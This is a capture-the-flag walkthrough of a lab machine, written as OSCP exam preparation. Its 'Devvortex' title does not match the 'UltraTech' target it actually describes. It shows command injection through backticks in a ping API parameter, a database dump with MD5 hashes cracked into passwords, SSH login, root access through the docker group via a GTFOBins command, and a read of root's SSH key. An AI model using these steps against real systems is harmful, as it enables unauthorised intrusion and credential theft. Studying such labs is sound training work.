HTB Devvortex Write-up
Part of the OSCP+ Preparation Series
# Step 1 - Find active ports
nmap -p- --min-rate 10000 10.10.211.145
# Step 2 - Focus scan on the active ports found
nmap -A -T4 -Pn -p21,22,8081,31331,37445 10.10.211.145
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-11-12 03:31 EST
Nmap scan report for 10.10.211.145
Host is up (0.052s latency).
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.3
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 dc:66:89:85:e7:05:c2:a5:da:7f:01:20:3a:13:fc:27 (RSA)
| 256 c3:67:dd:26:fa:0c:56:92:f3:5b:a0:b3:8d:6d:20:ab (ECDSA)
|_ 256 11:9b:5a:d6:ff:2f:e4:49:d2:b5:17:36:0e:2f:1d:2f (ED25519)
8081/tcp open http Node.js Express framework
|_http-cors: HEAD GET POST PUT DELETE PATCH
|_http-title: Site doesn't have a title (text/html; charset=utf-8).
31331/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: UltraTech - The best of technology (AI, FinTech, Big Data)
37445/tcp closed unknown
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 16.26 seconds
Looking at the results of our nmap scan we can see FTP, SSH and two HTTP. Lets enumerate the HTTP ports first.
If we visit port 8081, we will see UltraTech API v0.1.3, meaning that port 8081 is leading to an API:
http://10.10.211.145:8081/
If we visit port 31331, we will see a website of what seems to be a company.
We can also find a robots.txt file leading us to the file /utech_sitemap.txt:
http://10.10.211.145:31331/robots.txt
If we visit /utech_sitemap.txt, we will find more interesting files to visit:
/
/index.html
/what.html
/partners.html
We checked them, but the only interesting one seems to be /partners.html, leading us to a login portal.
If we inspect the source code of /partners.html, we will see this at the bottom:
<SNIP>
</form>
</div>
</div>
</div>
</div>
<script src='js/app.min.js'></script>
<script src='js/api.js'></script>
</body>
</html>
If we click on js/api.js, it will lead us to another page, where we can see a line interacting with the API URL:
<SNIP>
function checkAPIStatus() {
const req = new XMLHttpRequest();
try {
const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`
req.open('GET', url, true);
req.onload = function (e) {
<SNIP>
Here it is:
const url = `http://${getAPIURL()}/ping?ip=${window.location.hostname}`
It seems like the const url is using ping on an IP, lets try to ping 127.0.0.1, since we know this IP theoretically always exists, and see if we get any answer. We can do that entering the following URL in our web browser:
http://10.10.211.145:8081/ping?ip=127.0.0.1
PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data. 64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.015 ms --- 127.0.0.1 ping statistics --- 1 packets transmitted, 1 received, 0% packet loss, time 0ms rtt min/avg/max/mdev = 0.015/0.015/0.015/0.000 ms
It worked! We got a response showing the results of running the ping command.
Now we can try to run other commands like whoami:
http://10.10.211.145:8081/ping?ip=whoami
It didnt work. Lets try to put whoami like ‘whoami’:
http://10.10.211.145:8081/ping?ip='whoami'
It also didnt work. Lets try something else. Maybe like `whoami`?
10.10.211.145:8081/ping?ip=`whoami`
ping: www: Temporary failure in name resolution
It worked! We got www as ping response, which is actually the result of running the whoami command.
Lets enumerate the files on the directory:
http://10.10.211.145:8081/ping?ip=`ls%20-al`
ping: utech.db.sqlite: Name or service not known
It seems like there is only utech.db.sqlite. Lets check its content:
http://10.10.211.145:8081/ping?ip=`cat%20utech.db.sqlite`
ping: ) ���(Mr00tf357a0c52799563c7c7b76c1e7543a32)Madmin0d0ea5111e3c1def594c1684e3b9be84: Parameter string not correctly encoded
Nice! We got some hashes:
Mr00t:f357a0c52799563c7c7b76c1e7543a32
Madmin:0d0ea5111e3c1def594c1684e3b9be84
We can suppose that the first user is called “r00t” and the second one “admin”.
Lets try to crack these hashes:
hashid 'f357a0c52799563c7c7b76c1e7543a32'
We got many results of possible valid hash types. Lets suppose its just a normal MD5, which uses -m 0 on hashcat. Now we can try to crack it:
hashcat -m 0 r00t_hash.txt /usr/share/wordlists/rockyou.txt
hashcat -m 0 admin_hash.txt /usr/share/wordlists/rockyou.txt
We were able to successfully crack both of them and retrieve the following passwords:
r00t:n100906
admin:mrsheafy
Lets try to get access using SSH now using r00t as username and the password we just cracked:
ssh r00t@10.10.211.145
Nice! We got access as r00t.
Using the command id we were able to find out that r00t is part of the docker group:
id
uid=1001(r00t) gid=1001(r00t) groups=1001(r00t),116(docker)
This may allow us to run docker with privileged permission.
Searching for docker on GTFOBins we found the following command:
docker run -v /:/mnt --rm -it bash chroot /mnt sh
r00t@ultratech-prod:~$ docker run -v /:/mnt --rm -it bash chroot /mnt sh
# whoami
root
It worked! We got a shell as root.
Now we can read the contents of the root id_rsa and answer the last question:
cat /root/.ssh/id_rsa